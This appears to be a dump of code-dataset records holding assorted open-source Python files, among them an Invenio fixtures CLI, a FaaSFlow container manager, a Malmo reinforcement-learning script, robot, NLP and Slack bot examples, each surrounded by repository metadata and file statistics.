4.291925

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0.181818

0

null

0

null

0

1

0

b5533e6640dc60d29a04f82e1a7722aa55036807

7,226

py

Python

ultraviolet_cli/commands/fixtures.py

mnyrop/ultraviolet-cli

f177adde71a899ca6775bd4673d30e19ccdb2a30

[ "MIT" ]

1

2022-02-08T18:28:30.000Z

ultraviolet_cli/commands/fixtures.py

mnyrop/ultraviolet-cli

f177adde71a899ca6775bd4673d30e19ccdb2a30

[ "MIT" ]

null

ultraviolet_cli/commands/fixtures.py

mnyrop/ultraviolet-cli

f177adde71a899ca6775bd4673d30e19ccdb2a30

[ "MIT" ]

null

# -*- coding: utf-8 -*- # # Copyright (C) 2022 NYU Libraries. # # ultraviolet-cli is free software; you can redistribute it and/or modify it # under the terms of the MIT License; see LICENSE file for more details. """Invenio module for custom UltraViolet commands.""" import click import glob import json import os import requests import sys from jsonschema import Draft4Validator from time import sleep from urllib3.exceptions import InsecureRequestWarning from .. import config, utils # Suppress InsecureRequestWarning warnings from urllib3. requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) def create_record_draft(metadata, api, token): sleep(1) try: r = requests.get(api, timeout=5, verify=False) r.raise_for_status() except requests.exceptions.RequestException as e: print(f'Couldn\'t connect to api at {api}. Is the application running?') raise SystemExit(e) headers = { 'content-type': 'application/json', 'authorization': f'Bearer {token}' } response = requests.post(url=api, data=json.dumps(metadata), headers=headers, verify=False) response.raise_for_status() return response.json() def delete_record_draft(pid, api, token): sleep(1) url = '/'.join((api.strip('/'), pid, 'draft')) try: r = requests.get(api, timeout=5, verify=False) r.raise_for_status() except requests.exceptions.RequestException as e: print(f'Couldn\'t connect to api at {api}. Is the application running?') raise SystemExit(e) headers = { 'authorization': f'Bearer {token}' } try: response = requests.delete(url=url, headers=headers, verify=False) return(response) except: print(f'Unable to delet draft with pid {pid}') def publish_record(record_metadata, access_token): sleep(1) url = record_metadata['links']['publish'] headers = { 'authorization': f'Bearer {access_token}' } response = requests.post(url=url, headers=headers, verify=False) return response.json() @click.group() def fixtures(): """ An entry point for fixtures subcommands, e.g., ingest, purge """ pass @fixtures.command() @click.option('-a', '--api', required=True, type=str, default=config.DEFAULT_RECORDS_API_URL, help=f'Invenio REST API base URL. Default={config.DEFAULT_RECORDS_API_URL}') @click.option('-d', '--dir', required=True, type=click.Path(exists=True), default=config.DEFAULT_FIXTURES_DIR, help=f'Path to directory of fixtures. Default={config.DEFAULT_FIXTURES_DIR}') @click.option('-o', '--output', required=True, type=str, default=config.DEFAULT_FIXTURES_OUTFILE, help=f'Where new fixture pid mappings will be written') @click.option('-t', '--token', help='REST API token') def ingest(api, dir, output, token): """ Post local dir of UV fixture draft records via REST API. """ click.secho('REST API: ', nl=False, bold=True, fg='green') click.secho(api) click.secho('Fixtures directory: ', nl=False, bold=True, fg='green') click.secho(dir) if token is None: token = utils.token_from_user(email=config.DEFAULT_FIXTURES_USER, name='default-su-token') click.secho('Auth Token: ', nl=False, bold=True, fg='green') click.secho(token) records = glob.glob(f'{dir}/**/*.json', recursive=True) click.secho(f'\nFound {len(records)} records', nl=True, bold=True, fg='blue') results = json.loads(open(output).read()) if os.path.exists(output) else {} for file in records: click.secho(f'Posting record from {file}', nl=True, fg='blue') dict = json.loads(open(file).read()) draft = create_record_draft(dict, api, token) uv_id = os.path.dirname(file).split('/')[-1] results[draft['id']] = uv_id os.makedirs(os.path.dirname(output), exist_ok=True) with open(output, "w") as f: json.dump(results, f) # record = publish_record(draft, token) @fixtures.command() @click.option('-a', '--api', required=True, type=str, default=config.DEFAULT_RECORDS_API_URL, help=f'Invenio REST API base URL. Default={config.DEFAULT_RECORDS_API_URL}') @click.option('-d', '--dir', required=True, type=click.Path(exists=True), default=config.DEFAULT_FIXTURES_DIR, help=f'Path to directory of fixtures. Default={config.DEFAULT_FIXTURES_DIR}') @click.option('-o', '--output', required=True, type=str, default=config.DEFAULT_FIXTURES_OUTFILE, help=f'Where new fixture pid mappings will be written') @click.option('-t', '--token', help='REST API token') def purge(api, dir, output, token): """ Delete all UV fixture draft records via REST API. """ click.secho('REST API: ', nl=False, bold=True, fg='green') click.secho(api) if token is None: token = utils.token_from_user(email=config.DEFAULT_FIXTURES_USER, name='default-su-token') click.secho('Auth Token: ', nl=False, bold=True, fg='green') click.secho(token) results = json.loads(open(output).read()) if os.path.exists(output) else {} for pid, uv_id in results.copy().items(): res = delete_record_draft(pid, api, token) if res.ok: click.secho(f'Delecting draft record {uv_id} aka {pid}', nl=True, bold=True, fg='blue') results.pop(pid) os.makedirs(os.path.dirname(output), exist_ok=True) with open(output, "w") as f: json.dump(results, f) @fixtures.command() @click.option('-d', '--dir', required=True, type=click.Path(exists=True), default=config.DEFAULT_FIXTURES_DIR, help=f'Path to directory of fixtures. Default={config.DEFAULT_FIXTURES_DIR}') @click.option('-s', '--schema-file', required=True, type=click.Path(exists=True), default=config.DEFAULT_SCHEMA_PATH, help=f'Path to json schema. Default={config.DEFAULT_SCHEMA_PATH}') def validate(dir, schema_file): """ Validate local dir of fixture records against JSON schema. """ click.secho('Fixtures directory: ', nl=False, bold=True, fg='green') click.secho(dir) click.secho('JSON Schema: ', nl=False, bold=True, fg='green') click.secho(schema_file) records = glob.glob(f'{dir}/**/*.json', recursive=True) click.secho(f'\nFound {len(records)} records', nl=True, bold=True, fg='blue') schema = json.loads(open(schema_file).read()) Draft4Validator.check_schema(schema) validator = Draft4Validator(schema, format_checker=None) for file in records: dict = json.loads(open(file).read()) try: validator.validate(dict) click.secho(f'{file} passes', nl=True, fg='blue') except BaseException as error: click.secho(f'{file} fails', nl=True, fg='red') print('An exception occurred: {}'.format(error))

33.146789

128

0.63313

932

7,226

4.831545

0.216738

0.044415

0.062181

0.049745

0.617366

0.596713

0.573173

0.567177

0.540084

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0.003049

0.22848

7,226

217

129

33.299539

0.804664

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0.180188

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0

1

0.048951

false

0.013986

0.06993

0

0.132867

0.027972

0

null

0

null

0

1

0

b55d244aa62443aced945674009694fb76ee238b

1,834

py

Python

src/function_manager/function_manager.py

lzjzx1122/FaaSFlow

c4a32a04797770c21fe6a0dcacd85ac27a3d29ec

[ "Apache-2.0" ]

24

2021-12-02T01:00:54.000Z

2022-03-27T00:50:28.000Z

src/function_manager/function_manager.py

lzjzx1122/FaaSFlow

c4a32a04797770c21fe6a0dcacd85ac27a3d29ec

[ "Apache-2.0" ]

null

src/function_manager/function_manager.py

lzjzx1122/FaaSFlow

c4a32a04797770c21fe6a0dcacd85ac27a3d29ec

[ "Apache-2.0" ]

3

2021-12-02T01:00:47.000Z

2022-03-04T07:33:09.000Z

import gevent import docker import os from function_info import parse from port_controller import PortController from function import Function import random repack_clean_interval = 5.000 # repack and clean every 5 seconds dispatch_interval = 0.005 # 200 qps at most # the class for scheduling functions' inter-operations class FunctionManager: def __init__(self, config_path, min_port): self.function_info = parse(config_path) self.port_controller = PortController(min_port, min_port + 4999) self.client = docker.from_env() self.functions = { x.function_name: Function(self.client, x, self.port_controller) for x in self.function_info } self.init() def init(self): print("Clearing previous containers.") os.system('docker rm -f $(docker ps -aq --filter label=workflow)') gevent.spawn_later(repack_clean_interval, self._clean_loop) gevent.spawn_later(dispatch_interval, self._dispatch_loop) def _clean_loop(self): gevent.spawn_later(repack_clean_interval, self._clean_loop) for function in self.functions.values(): gevent.spawn(function.repack_and_clean) def _dispatch_loop(self): gevent.spawn_later(dispatch_interval, self._dispatch_loop) for function in self.functions.values(): gevent.spawn(function.dispatch_request) def run(self, function_name, request_id, runtime, input, output, to, keys): # print('run', function_name, request_id, runtime, input, output, to, keys) if function_name not in self.functions: raise Exception("No such function!") return self.functions[function_name].send_request(request_id, runtime, input, output, to, keys)

37.428571

104

0.681025

229

1,834

5.222707

0.344978

0.055184

0.053512

0.052676

0.36204

0.348662

0.32107

0.244147

0.091973

0

0.011429

0.236641

1,834

48

105

38.208333

0.842857

0.09542

0

0.166667

0

0.061644

0

1

0.138889

false

0

0.194444

0

0.388889

0.027778

0

null

0

null

0

1

0

b55f0ffd6458d9da1434363a2f94293d840e899b

6,717

py

Python

MalmoEnv/run.py

chemgymrl/malmo

207e2530ec94af46450ba6d0e62d691ade91e282

[ "MIT" ]

1

2022-02-17T07:58:06.000Z

MalmoEnv/run.py

chemgymrl/malmo

207e2530ec94af46450ba6d0e62d691ade91e282

[ "MIT" ]

null

MalmoEnv/run.py

chemgymrl/malmo

207e2530ec94af46450ba6d0e62d691ade91e282

[ "MIT" ]

null

# ------------------------------------------------------------------------------------------------ # Copyright (c) 2018 Microsoft Corporation # # Permission is hereby granted, free of charge, to any person obtaining a copy of this software and # associated documentation files (the "Software"), to deal in the Software without restriction, # including without limitation the rights to use, copy, modify, merge, publish, distribute, # sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in all copies or # substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT # NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND # NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, # DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. # ------------------------------------------------------------------------------------------------ import os import numpy as np import matplotlib.pyplot as plt import malmoenv import argparse from pathlib import Path import time from PIL import Image from stable_baselines3.common import results_plotter from stable_baselines3.common.monitor import Monitor from stable_baselines3.common.results_plotter import load_results, ts2xy, plot_results from stable_baselines3.common.noise import NormalActionNoise from stable_baselines3.common.callbacks import BaseCallback from stable_baselines3.common.env_checker import check_env from stable_baselines3 import PPO class SaveOnBestTrainingRewardCallback(BaseCallback): """ Callback for saving a model (the check is done every ``check_freq`` steps) based on the training reward (in practice, we recommend using ``EvalCallback``). :param check_freq: :param log_dir: Path to the folder where the model will be saved. It must contains the file created by the ``Monitor`` wrapper. :param verbose: Verbosity level. """ def __init__(self, check_freq: int, log_dir: str, verbose: int = 1): super(SaveOnBestTrainingRewardCallback, self).__init__(verbose) self.check_freq = check_freq self.log_dir = log_dir self.save_path = os.path.join(log_dir, 'best_model') self.best_mean_reward = -np.inf # def _init_callback(self) -> None: # # # Create folder if needed # # if self.save_path is not None: # # os.makedirs(self.save_path, exist_ok=True) def _on_step(self) -> bool: if self.n_calls % self.check_freq == 0: # Retrieve training reward x, y = ts2xy(load_results(self.log_dir), 'timesteps') if len(x) > 0: # Mean training reward over the last 100 episodes mean_reward = np.mean(y[-100:]) if self.verbose > 0: print(f"Num timesteps: {self.num_timesteps}") print(f"Best mean reward: {self.best_mean_reward:.2f} - Last mean reward per episode: {mean_reward:.2f}") # New best model, you could save the agent here if mean_reward > self.best_mean_reward: self.best_mean_reward = mean_reward # Example for saving best model if self.verbose > 0: print(f"Saving new best model to {self.save_path}") self.model.save(self.save_path) return True log_dir = "tmp/" os.makedirs(log_dir, exist_ok=True) if __name__ == '__main__': parser = argparse.ArgumentParser(description='malmovnv test') parser.add_argument('--mission', type=str, default='missions/jumping.xml', help='the mission xml') parser.add_argument('--port', type=int, default=9000, help='the mission server port') parser.add_argument('--server', type=str, default='127.0.0.1', help='the mission server DNS or IP address') parser.add_argument('--port2', type=int, default=None, help="(Multi-agent) role N's mission port. Defaults to server port.") parser.add_argument('--server2', type=str, default=None, help="(Multi-agent) role N's server DNS or IP") parser.add_argument('--episodes', type=int, default=100, help='the number of resets to perform - default is 1') parser.add_argument('--episode', type=int, default=0, help='the start episode - default is 0') parser.add_argument('--role', type=int, default=0, help='the agent role - defaults to 0') parser.add_argument('--episodemaxsteps', type=int, default=100, help='max number of steps per episode') parser.add_argument('--saveimagesteps', type=int, default=0, help='save an image every N steps') parser.add_argument('--resync', type=int, default=0, help='exit and re-sync every N resets' ' - default is 0 meaning never.') parser.add_argument('--experimentUniqueId', type=str, default='test1', help="the experiment's unique id.") args = parser.parse_args() if args.server2 is None: args.server2 = args.server xml = Path(args.mission).read_text() env = malmoenv.make() env.init(xml, args.port, server=args.server, server2=args.server2, port2=args.port2, role=args.role, exp_uid=args.experimentUniqueId, episode=args.episode, resync=args.resync) env = Monitor(env, log_dir) # print("checking env") check_env(env, True) s = SaveOnBestTrainingRewardCallback(2000, log_dir) # print("checked env") model = PPO("MlpPolicy", env, verbose=1, tensorboard_log="./ppo_test_tensorboard/") #model.load("tmp/best_model.zip") model.learn(total_timesteps=100000, callback=s, reset_num_timesteps=False) # print("trained and saved model") # for i in range(args.episodes): # print("reset " + str(i)) # obs = env.reset() # steps = 0 # done = False # while not done and (args.episodemaxsteps <= 0 or steps < args.episodemaxsteps): # # h, w, d = env.observation_space.shape # # print(done) # action, _states = model.predict(obs, deterministic=True) # # action = env.action_space.sample() # obs, reward, done, info = env.step(action) # steps += 1 # # print("reward: " + str(reward)) # # print(obs) # time.sleep(.05) env.close()

46.645833

128

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879

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4.861206

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0.047742

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0

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6,717

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0

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0

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0.203812

0.012219

0

1

0.028571

false

0

0.214286

0

0.271429

0.042857

0

null

0

null

0

1

0

b55f2629add10c43d98efae9012f1f13e3691bd5

1,172

py

Python

example/wrapper/common/5001-get_tgpio_digital.py

krasin/xArm-Python-SDK-ssh

9c854e8bfa78d0e91b67efbab79f733ddf19e916

[ "BSD-3-Clause" ]

62

2018-11-30T05:53:32.000Z

2022-03-20T13:15:22.000Z

example/wrapper/common/5001-get_tgpio_digital.py

krasin/xArm-Python-SDK-ssh

9c854e8bfa78d0e91b67efbab79f733ddf19e916

[ "BSD-3-Clause" ]

25

2019-08-12T18:53:41.000Z

2021-12-28T10:17:39.000Z

example/wrapper/common/5001-get_tgpio_digital.py

krasin/xArm-Python-SDK-ssh

9c854e8bfa78d0e91b67efbab79f733ddf19e916

[ "BSD-3-Clause" ]

43

2019-01-03T04:47:13.000Z

2022-03-18T06:40:59.000Z

#!/usr/bin/env python3 # Software License Agreement (BSD License) # # Copyright (c) 2019, UFACTORY, Inc. # All rights reserved. # # Author: Vinman <vinman.wen@ufactory.cc> <vinman.cub@gmail.com> """ Example: Get GPIO Digital """ import os import sys import time sys.path.append(os.path.join(os.path.dirname(__file__), '../../..')) from xarm.wrapper import XArmAPI from configparser import ConfigParser parser = ConfigParser() parser.read('../robot.conf') try: ip = parser.get('xArm', 'ip') except: ip = input('Please input the xArm ip address[192.168.1.194]:') if not ip: ip = '192.168.1.194' arm = XArmAPI(ip) time.sleep(0.5) if arm.warn_code != 0: arm.clean_warn() if arm.error_code != 0: arm.clean_error() last_digitals = [-1, -1] while arm.connected and arm.error_code != 19 and arm.error_code != 28: code, digitals = arm.get_tgpio_digital() if code == 0: if digitals[0] == 1 and digitals[0] != last_digitals[0]: print('IO0 input high level') if digitals[1] == 1 and digitals[1] != last_digitals[1]: print('IO1 input high level') last_digitals = digitals time.sleep(0.1)

23.44

70

0.648464

175

1,172

4.251429

0.451429

0.064516

0.048387

0.026882

0

0.051064

0.197952

1,172

49

71

23.918367

0.740426

0.176621

0

0.135021

0.024262

0

1

0

false

0

0.166667

0

0.166667

0.066667

0

null

0

null

0

1

0

b56057ff5dbd4cdc1d25d244ff87b18b26455492

544

py

Python

49-group anagrams/main.py

ytong82/leetcode

34e08c430d654b14b1608211f74702f57e507189

[ "Apache-2.0" ]

null

49-group anagrams/main.py

ytong82/leetcode

34e08c430d654b14b1608211f74702f57e507189

[ "Apache-2.0" ]

null

49-group anagrams/main.py

ytong82/leetcode

34e08c430d654b14b1608211f74702f57e507189

[ "Apache-2.0" ]

null

class Solution: def groupAnagrams(self, strs): l = len(strs) if l == 0: return [] map = dict() for i in range(l): key = ''.join(sorted(strs[i])) if key in map.keys(): map[key].append(i) else: map[key] = [i] res = [] for key in map.keys(): res.append([strs[k] for k in map[key]]) return res strs = ["eat", "tea", "tan", "ate", "nat", "bat"] sol = Solution() print(sol.groupAnagrams(strs))

22.666667

51

0.443015

68

544

3.544118

0.485294

0.062241

0.06639

0.099585

0

0.00304

0.395221

544

24

52

22.666667

0.729483

0

0.033028

0

1

0.052632

false

0

0.210526

0.052632

0

null

0

null

0

1

0

b561af012e5087c35cc2997a33fe02fbbdb5ae5d

2,429

py

Python

vending.py

mit-dci/litvending

28f8f2b51691eac7c69de153aafbe72663d9892c

[ "MIT" ]

1

2018-06-20T01:42:54.000Z

vending.py

mit-dci/litvending

28f8f2b51691eac7c69de153aafbe72663d9892c

[ "MIT" ]

null

vending.py

mit-dci/litvending

28f8f2b51691eac7c69de153aafbe72663d9892c

[ "MIT" ]

1

2022-02-15T06:48:15.000Z

#!/usr/bin/env python3 import os import time import sys gpio = None try: import RPi.GPIO gpio = RPi.GPIO except: print('RPi library not found. We\'re probably on a dev machine. Moving on...') import lvconfig import litrpc # This could be more efficient, we're making a lot more requests than we need to. def check_deposit(cointype): bals = conn.balance()['Balances'] sum = 0 for b in bals: if b['CoinType'] == int(cointype): # I'm not sure how this works, can it return dupes? sum += b['ChanTotal'] + b['TxoTotal'] return sum def main(cfg): if cfg['trigger_pin_num'] == -1: print('You need to configure me first. Come back later.') sys.exit(1) # Find important commonly-used variables. trigger_pin = cfg['trigger_pin_num'] sleep_time = cfg['pin_high_time'] deposit_delay = cfg['deposit_delay_time'] # Set up the GPIO pins. if gpio is not None: gpio.setmode(gpio.BOARD) gpio.setwarnings(False) gpio.setup(trigger_pin, gpio.OUT) # Set up the connection and connect. print('Connecting to lit at', cfg['lit_ip'], 'on port', cfg['lit_port']) global conn conn = litrpc.LitClient(cfg['lit_ip'], cfg['lit_port']) print('Set up client.') # Then just enter the main loop. print('Waiting for payment...') last_bal = {} for ty in cfg['coin_type_ids']: last_bal[ty] = -1 while True: # First figure out how much might have been sent to us. to_insert = 0 for ty in cfg['coin_type_ids']: bal = check_deposit(ty) if last_bal[ty] != -1: diff = bal - last_bal[ty] if diff <= 0: # when we withdraw it would break everything continue unit_cost = cfg['unit_costs'][ty] units = int(diff // unit_cost) extra = diff - units * unit_cost to_insert += units print('Balance for', ty, 'is now', bal, ', got a spend of', diff, 'sat worth', units, 'units with an extra', extra, 'sat left over') last_bal[ty] = bal # Then send that many quarters. if to_insert != 0: print('Total to insert:', to_insert) if gpio is not None: for i in range(to_insert): # Just turn it on, wait a bit, and turn it off. gpio.output(trigger_pin, gpio.HIGH) time.sleep(sleep_time) gpio.output(trigger_pin, gpio.LOW) time.sleep(deposit_delay) print('Done') else: print('Not running on RPi, doing nothing!') else: print('No payment') time.sleep(cfg['poll_rate']) if __name__ == '__main__': main(lvconfig.load_config())

26.11828

136

0.669823

393

2,429

4.012723

0.445293

0.038047

0.022828

0.020292

0.076094

0.026633

0

0.004639

0.201317

2,429

92

137

26.402174

0.808247

0.186085

0

0.089552

0

0.229908

0

1

0.029851

false

0

0.089552

0

0.134328

0.149254

0

null

0

null

0

1

0

b56b02915f5cdfb61babcb70fc1c32bc2970b2fa

597

py

Python

Section02/ParsingChart.py

fosterleejoe/Developing-NLP-Applications-Using-NLTK-in-Python

f2cac32c02d0632fb89f32446388ef15d9926bbc

[ "MIT" ]

67

2017-11-23T18:48:47.000Z

2022-03-29T08:03:25.000Z

Section02/ParsingChart.py

fosterleejoe/Developing-NLP-Applications-Using-NLTK-in-Python

f2cac32c02d0632fb89f32446388ef15d9926bbc

[ "MIT" ]

null

Section02/ParsingChart.py

fosterleejoe/Developing-NLP-Applications-Using-NLTK-in-Python

f2cac32c02d0632fb89f32446388ef15d9926bbc

[ "MIT" ]

49

2017-12-06T16:10:14.000Z

2021-11-25T09:02:49.000Z

from nltk.grammar import CFG from nltk.parse.chart import ChartParser, BU_LC_STRATEGY grammar = CFG.fromstring(""" S -> T1 T4 T1 -> NNP VBZ T2 -> DT NN T3 -> IN NNP T4 -> T3 | T2 T3 NNP -> 'Tajmahal' | 'Agra' | 'Bangalore' | 'Karnataka' VBZ -> 'is' IN -> 'in' | 'of' DT -> 'the' NN -> 'capital' """) cp = ChartParser(grammar, BU_LC_STRATEGY, trace=True) sentence = "Bangalore is the capital of Karnataka" tokens = sentence.split() chart = cp.chart_parse(tokens) parses = list(chart.parses(grammar.start())) print("Total Edges :", len(chart.edges())) for tree in parses: print(tree) tree.draw()

22.961538

56

0.676717

90

597

4.433333

0.511111

0.0401

0.06015

0

0.017857

0.155779

597

25

57

23.88

0.77381

0

0.386935

0

1

0

false

0

0.090909

0

0.090909

0

null

0

null

0

1

0

b56c623a069eaa852720532015deec19073b3d1a

5,526

py

Python

sirbot/slack/wrapper.py

Ovvovy/sirbot-slack

2d27e49cfbc2cb12e87ef3814823d2ad68d0a788

[ "MIT" ]

7

2017-05-06T11:37:25.000Z

2018-11-22T09:46:32.000Z

sirbot/slack/wrapper.py

Ovvovy/sirbot-slack

2d27e49cfbc2cb12e87ef3814823d2ad68d0a788

[ "MIT" ]

19

2017-05-07T16:25:02.000Z

2017-09-22T08:02:59.000Z

sirbot/slack/wrapper.py

Ovvovy/sirbot-slack

2d27e49cfbc2cb12e87ef3814823d2ad68d0a788

[ "MIT" ]

3

2017-05-06T11:37:28.000Z

2017-07-07T09:32:54.000Z

import logging from .store.user import User from .errors import SlackInactiveDispatcher, SlackNoThread logger = logging.getLogger(__name__) class SlackWrapper: """ A class to compose all available functionality of the slack plugin. An instance is offered to all incoming message of all the plugins to allow cross service messages """ def __init__(self, http_client, users, channels, groups, messages, threads, bot, dispatcher): self._http_client = http_client self._threads = threads self._dispatcher = dispatcher self.messages = messages self.users = users self.channels = channels self.groups = groups self.bot = bot async def send(self, *messages): """ Send the messages provided and update their timestamp :param messages: Messages to send """ for message in messages: message.frm = self.bot if self.bot.type == 'rtm' and isinstance(message.to, User): await self.users.ensure_dm(message.to) if message.response_url: # Message with a response url are response to actions or slash # commands data = message.serialize(type_='response') await self._http_client.response( data=data, url=message.response_url ) elif isinstance(message.to, User) and self.bot.type == 'rtm': data = message.serialize(type_='send', to=self.bot.type) message.raw = await self._http_client.message_send( data=data, token='bot' ) elif isinstance(message.to, User) and self.bot.type == 'event': data = message.serialize(type_='send', to=self.bot.type) message.raw = await self._http_client.message_send(data=data) else: data = message.serialize(type_='send', to=self.bot.type) message.raw = await self._http_client.message_send(data=data) async def update(self, *messages): """ Update the messages provided and update their timestamp :param messages: Messages to update """ for message in messages: if isinstance(message.to, User): await self.users.ensure_dm(message.to) message.frm = self.bot message.subtype = 'message_changed' message.raw = await self._http_client.message_update( message=message) message.ts = message.raw.get('ts') # await self._save_outgoing_message(message) async def delete(self, *messages): """ Delete the messages provided :param messages: Messages to delete """ for message in messages: message.timestamp = await self._http_client.message_delete(message) async def add_reaction(self, message, reaction): """ Add a reaction to a message :Example: >>> chat.add_reaction(Message, 'thumbsup') Add the thumbup and robotface reaction to the message :param messages: List of message and reaction to add """ await self._http_client.add_reaction(message, reaction) async def delete_reaction(self, message, reaction): """ Delete reactions from messages :Example: >>> chat.delete_reaction(Message, 'thumbsup') Delete the thumbup and robotface reaction from the message :param messages: List of message and reaction to delete """ await self._http_client.delete_reaction(message, reaction) async def get_reactions(self, message): """ Query the reactions of messages :param messages: Messages to query reaction from :return: dictionary of reactions by message :rtype: dict """ reactions = await self._http_client.get_reaction(message) for reaction in reactions: reaction['users'] = [ self.users.get(id_=user_id) for user_id in reaction.get('users', list()) ] message.reactions = reactions return reactions def add_action(self, id_, func, public=False): if 'action' in self._dispatcher: self._dispatcher['action'].register(id_, func, public=public) else: raise SlackInactiveDispatcher def add_event(self, event, func): if 'event' in self._dispatcher: self._dispatcher['event'].register(event, func) else: raise SlackInactiveDispatcher def add_command(self, command, func): if 'command' in self._dispatcher: self._dispatcher['command'].register(command, func) else: raise SlackInactiveDispatcher def add_message(self, match, func, flags=0, mention=False, admin=False, channel_id='*'): if 'action' in self._dispatcher: self._dispatcher['message'].register(match, func, flags, mention, admin, channel_id) else: raise SlackInactiveDispatcher def add_thread(self, message, func, user_id='all'): if message.thread or message.timestamp: self._threads[message.thread or message.timestamp][user_id] = func else: raise SlackNoThread()

32.892857

79

0.596091

602

5,526

5.33887

0.19103

0.037337

0.047915

0.053205

0.398569

0.274113

0.247978

0.21313

0.187617

0

0.000266

0.31958

5,526

167

80

33.08982

0.854521

0.05067

0

0.288889

0

0.027227

0

1

0.066667

false

0

0.033333

0

0.122222

0

null

0

null

0

1

0

b56d3d57d3b008ef213624e96067cf823658819f

4,321

py

Python

rc/returninfo/classifier.py

ddangelorb/gthbmining

a7d18623cd14a2ffd2508a4bb6a71b06a5f26215

[ "MIT" ]

4

2019-09-17T02:53:51.000Z

2020-10-23T14:48:16.000Z

rc/returninfo/classifier.py

ddangelorb/gthbmining

a7d18623cd14a2ffd2508a4bb6a71b06a5f26215

[ "MIT" ]

null

rc/returninfo/classifier.py

ddangelorb/gthbmining

a7d18623cd14a2ffd2508a4bb6a71b06a5f26215

[ "MIT" ]

null

import warnings warnings.filterwarnings('ignore') #ignore warnings to print values properly import logging import pandas as pd import numpy as np import matplotlib.pyplot as plt from matplotlib.colors import ListedColormap from sklearn.model_selection import train_test_split from sklearn.tree import DecisionTreeClassifier from sklearn.naive_bayes import GaussianNB from sklearn.neighbors import KNeighborsClassifier from sklearn import metrics from datetime import datetime from plotter import Plotter class Classifier: # constructor def __init__(self, conn, repo_user, repo_name): self.conn = conn self.repository_id = self._get_repository_id(repo_user, repo_name) self.dic_classifier = { 'decisiontree': ["../output/decisiontreeplot.png", "Decision Tree", DecisionTreeClassifier(criterion="entropy", max_depth=3)], 'naivebayes': ["../output/nbplot.png", "Naive Bayes", GaussianNB()], 'knn': ["../output/knnplot.png", "K-Nearest Neighbors (3)", KNeighborsClassifier(n_neighbors=3)] } logging.basicConfig(filename="../output/returninfo.log", level=logging.INFO) def _get_repository_id(self, repo_user, repo_name): cursor_conn = self.conn.cursor() sql = "SELECT Id FROM Repositories WHERE Name = ?" cursor_conn.execute(sql, ["{}/{}".format(repo_user, repo_name)]) id = 0 cursor_fetch = cursor_conn.fetchone() if cursor_fetch: id = cursor_fetch[0] return id def _print_scores(self, classifier, X, y, test_size): # Split dataset into training set and test set X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=test_size, random_state=1) # Train Decision Tree Classifer classifier.fit(X_train, y_train) # Predict the response for test dataset y_pred = classifier.predict(X_test) print(" Accuracy:", metrics.accuracy_score(y_test, y_pred)) logging.info(" Accuracy: {}".format(metrics.accuracy_score(y_test, y_pred))) print(" F1-Score:", metrics.f1_score(y_test, y_pred)) logging.info(" F1-Score: {}".format(metrics.f1_score(y_test, y_pred))) print(" Precision:", metrics.precision_score(y_test, y_pred)) logging.info(" Precision: {}".format(metrics.precision_score(y_test, y_pred))) print(" Recall:", metrics.recall_score(y_test, y_pred)) logging.info(" Recall: {}".format(metrics.recall_score(y_test, y_pred))) #print(" Confusion Matrix:", metrics.confusion_matrix(y_test, y_pred)) def classify(self, classifier_key): if classifier_key in self.dic_classifier: dic_item = self.dic_classifier[classifier_key] classifier_path_plot_file = dic_item[0] classifier_name = dic_item[1] classifier_obj = dic_item[2] print("repository_id = '{}'".format(self.repository_id)) #Get X, y arrays for classification, normalized data sql = "SELECT AuthorInfluencer, ClosedIssues, ClosedPullRequests, ClosedIssuesInfluencer, ClosedPullRequestsInfluencer, PrereleaseClass FROM ReleasesData WHERE IdRepository = ?;" dataset = pd.read_sql_query(sql, self.conn, params=str(self.repository_id)) X = dataset[['ClosedIssuesInfluencer', 'ClosedPullRequestsInfluencer']] y = dataset['PrereleaseClass'] # contains the values from the "Class" column self._print_scores(classifier_obj, X, y, test_size = 0.2) plotter = Plotter(classifier_name, classifier_obj, X, y) plotter.plot(classifier_path_plot_file) print("File '{}' plotted from current data and classifier '{}'".format(classifier_path_plot_file, classifier_name)) logging.info("File '{}' plotted from current data and classifier '{}'".format(classifier_path_plot_file, classifier_name)) else: print("{} :: classifier_key{} not found. Supported ones are: 'decisiontree', 'naivebayes', 'knn'".format(datetime.today().strftime('%Y-%m-%d-%H:%M:%S'), classifier_key)) logging.info("{} :: classifier_key{} not found. Supported ones are: 'decisiontree', 'naivebayes', 'knn'".format(datetime.today().strftime('%Y-%m-%d-%H:%M:%S'), classifier_key))

50.244186

190

0.682249

526

4,321

5.385932

0.288973

0.022944

0.019061

0.031768

0.249912

0.235792

0.228733

0.133427

0

0.004342

0.200417

4,321

85

191

50.835294

0.81563

0.076603

0

0.228586

0.044461

0

1

0.0625

false

0

0.203125

0

0.296875

0.140625

0

null

0

null

0

1

0

b56dd907e3a9ba7c7134351a3ded86b0fead6823

183

py

Python

run.py

sgilhuly/mire

8ac07af9083831a03a1901c1bb655932111ae4cf

[ "MIT" ]

2

2020-06-15T10:51:43.000Z

2020-08-02T07:38:44.000Z

run.py

sgilhuly/mire

8ac07af9083831a03a1901c1bb655932111ae4cf

[ "MIT" ]

null

run.py

sgilhuly/mire

8ac07af9083831a03a1901c1bb655932111ae4cf

[ "MIT" ]

1

2018-05-15T04:45:37.000Z

import sys from app import app, socketio if __name__ == "__main__": if len(sys.argv) > 1: port = int(sys.argv[1]) else: port=5000 socketio.run(app, host="0.0.0.0", port=port)

18.3

45

0.661202

33

183

3.424242

0.545455

0.053097

0.141593

0

0.065789

0.169399

183

10

45

18.3

0.677632

0

0.081522

0

1

0

false

0

0.25

0

0.25

0

null

0

null

0

1

0

b56fc2f3040d889070f9fe524690dd7b2af07b3c

1,004

py

Python

pyFoam/extractForces.py

mjsauvinen/P4US

ba7bbc77a6e482f612ba5aa5f021a41fcbb23345

[ "MIT" ]

4

2017-06-10T13:34:29.000Z

2021-10-08T14:33:43.000Z

